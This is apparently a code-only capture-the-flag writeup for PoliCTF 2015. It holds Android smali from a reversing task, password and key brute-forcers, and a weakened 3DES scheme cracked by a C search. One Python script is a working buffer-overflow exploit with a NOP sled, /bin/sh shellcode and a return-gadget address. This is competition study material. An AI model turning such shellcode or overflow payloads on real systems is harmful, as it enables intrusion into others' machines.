PoliCTF2015 writeup

...
.method public static a(Ljava/lang/String;)Ljava/lang/String;
    .registers 3

    const-string v0, "c"

    const-string v1, "a"

    invoke-virtual {p0, v0, v1}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;

    move-result-object v0

    return-object v0
.end method
...

.method private a(Ljava/lang/String;)Z
    .registers 5

    const/4 v0, 0x1

    const v1, 0x7f0c0038

    invoke-virtual {p0, v1}, Lit/polictf2015/LoginActivity;->getString(I)Ljava/lang/String;

    move-result-object v1

    invoke-static {v1}, Lit/polictf2015/c;->d(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v1

    invoke-static {v1}, Lit/polictf2015/c;->b(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v1
...

#! /usr/bin/env python3

ds = [-1, 17, -11, 3, -8, 5, 14, -3, 1, 6, -11, 6, -8, -10]

def rot13(a):
    return (a + 13) % 26

def tostr(a):
    return chr(ord("a") + rot13(a))

for st in range(26): # Iterate over all possible starting values
    res = tostr(st)
    c = st
    for d in ds:
        nc = (c + d) % 26
        if nc - c != d:
            break
        c = nc
        res += tostr(c)
    if len(res) == len(ds) + 1:
        print(res)

...
public abstract class Cake {

    protected boolean shouldBeAddedTheSpecialIngredient;
    protected List<String> ingredientsList;

    // Zero constructor
    protected Cake() {
        shouldBeAddedTheSpecialIngredient = false;
        ingredientsList = new LinkedList<>();
    }
...

public class NewYorkCheeseCake extends Cake {
	public void addIngredientsToCake() {
		this.shouldBeAddedTheSpecialIngredient = true;
	}
}

#! /usr/bin/env python3

import sys

INIT_BYTE = b"\x17"
ESCAPE_BYTE = b"\x18"
EXIT_BYTE = b"\x19"

with open(sys.argv[2], "rb") as i, open(sys.argv[3], "wb") as o:
    if sys.argv[1] == "decode":
        valid = False
        escape = False
        closed = False
        while not closed:
            b = i.read(1)
            if b == b"":
                break
            if b == INIT_BYTE and not escape:
                valid = True
            elif b == ESCAPE_BYTE and not escape:
                escape = True
            elif escape and not valid:
                escape = False
            elif valid:
                escape = False
                o.write(b)
    elif sys.argv[1] == "encode":
        data = i.read()
        data = data.replace(ESCAPE_BYTE, ESCAPE_BYTE * 2) \
            .replace(INIT_BYTE, ESCAPE_BYTE + INIT_BYTE) \
            .replace(EXIT_BYTE, ESCAPE_BYTE + EXIT_BYTE)
        o.write(INIT_BYTE)
        o.write(data)
        o.write(EXIT_BYTE)

#! /usr/bin/env python3

import struct as s
import sys
import time

# First nop sled
expl = b"\x90" * 700

# /bin/sh shellcode http://shell-storm.org/shellcode/files/shellcode-827.php
expl += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53" \
        b"\x89\xe1\xb0\x0b\xcd\x80"

expl += b"\x90" * (1041 - len(expl) - 30) # Second nop sled
expl += b"\xe9\x07\xfe\xff\xff" # jmp -500
# The next getchar result gets stored in this part
expl += b"A" * (1041 - len(expl))

expl += s.pack("I", 0x080487ef) # ret gadget

expl += b"BBBB"
expl += b"\n"

for l in [b"a\n", b"10\n", expl, b"u\n"]:
    sys.stdout.buffer.write(l)
    time.sleep(0.2)

// Print things.
plain := []byte(
	"\nWelcome! Wanna talk with John? Follow the instructions to get a Secure™ Channel.\n")
cipherthings := make([]byte, 1024)
ciphertext := encrypt(plain, muchCipher)
hex.Encode(cipherthings, ciphertext)
plain = append(plain, cipherthings...)
conn.Write(plain)

plain = []byte("\n\nYou surely know what to do with this:\n")
cipherthings = make([]byte, 1024)
ciphertext = encrypt(superkey, muchCipher)
hex.Encode(cipherthings, ciphertext)
plain = append(plain, cipherthings...)
conn.Write(plain)

func NewTripleDOGESCipher(tripleDOGESKey []byte) (cipher.Block, error) {
	// I can't break it, so it is unbreakable. A friend told us so.
	muchCipher, err := des.NewTripleDESCipher(tripleDOGESKey)
	...

func muchSecurity(key []byte) []byte {
	var tripleDOGESKey []byte
	fmt.Println(key)

	secondKey := make([]byte, 16)
	copy(secondKey, key)
	for i := 8; i < 16; i++ {
		// Let's be sure it is enough complex. Complex is good, a friend told us so.
		key[i] = (secondKey[i] & 0x3c) | (suchSubstitution[(secondKey[i]>>2)&0x0f] << 6)
		key[i] |= (key[i] >> 3) & 0x03
		key[i] |= ((key[i] >> 4) ^ key[i]) << 7
	}

	// EDE2 is required.
	tripleDOGESKey = append(tripleDOGESKey, key[:8]...)
	fmt.Println(append(tripleDOGESKey, key[:16]...))
	return append(tripleDOGESKey, key[:16]...)
}

ede2Key := []byte("<-- Some supersecret encryption key goes here -->")
tripleDOGESKey := muchSecurity(ede2Key)

key[i] = (secondKey[i] & 0x3c) | (suchSubstitution[(secondKey[i]>>2)&0x0f] << 6)
key[i] |= (key[i] >> 3) & 0x03
key[i] |= ((key[i] >> 4) ^ key[i]) << 7

def transform(n):
    ret = (n & 0x3c) | (subst[(n >> 2) & 0x0f] << 6)
    ret &= 0xff
    ret |= (ret >> 3) & 0x03
    ret |= ((ret >> 4) ^ ret) << 7
    ret &= 0xff
    return ret
s = set()
for b in range(256):
	s.add(b)
print(s)

#include <string.h>
#include <stdio.h>
#include <time.h>
#include <openssl/des.h>
#include <stdint.h>
#include <stdbool.h>

#define ASIZE(x) \
	(sizeof(x) / sizeof(x[0]))

const uint8_t keybytes[] = \
	{0, 27, 32, 59, 68, 95, 100, 127, 141, 150, 169, 173, 201, 210, 242, 246};

const uint8_t iv[] = {0xe9, 0x21, 0x92, 0xe7, 0x1e, 0xb9, 0x3a, 0xd8};
// As the plaintext is known, decrypting only one block is needed
const uint8_t tocrack[] = {0xb9, 0x67, 0x35, 0x17, 0xe3, 0x94, 0xe7, 0x5c};

void main()
{
	int counter[8] = {0, 0, 0, 0, 0, 0, 0, 0};
	long cnt = 0;
	DES_cblock key;
	DES_key_schedule keysched;
	uint8_t out[sizeof(tocrack)];

	clock_t start = clock();

	while (true) {
		for (int i = 0; i < ASIZE(counter); i++)
			key[i] = keybytes[counter[i]];
		cnt++;

		if (cnt % 1000000 == 0) {
			clock_t now = clock();
			printf("%ld\t%ld\n", cnt, (now - start) / 1000);
			start = now;
		}

		DES_set_odd_parity(&key);
		DES_set_key_checked(&key, &keysched);
		DES_cblock ivec;
		memcpy(ivec, iv, sizeof(ivec));

		DES_ncbc_encrypt(tocrack, out, sizeof(tocrack),
				&keysched, &ivec, DES_DECRYPT);

		if (out[0] == '\n' && out[1] == 'W'
				&& out[2] == 'e' && out[3] == 'l') {
			for (int i = 0; i < ASIZE(out); i++)
				printf("%c", out[i]);
			printf("[%d, %d, %d, %d, %d, %d, %d, %d]\n",
					key[0], key[1], key[2], key[3],
					key[4], key[5], key[6], key[7]);
			break;
		}

		for (int k = 0; k < 8; k++) {
			counter[k]++;
			if (counter[k] >= ASIZE(keybytes))
				counter[k] = 0;
			else
				break;
		}
		if (counter[7] == ASIZE(keybytes))
			break;
	}
}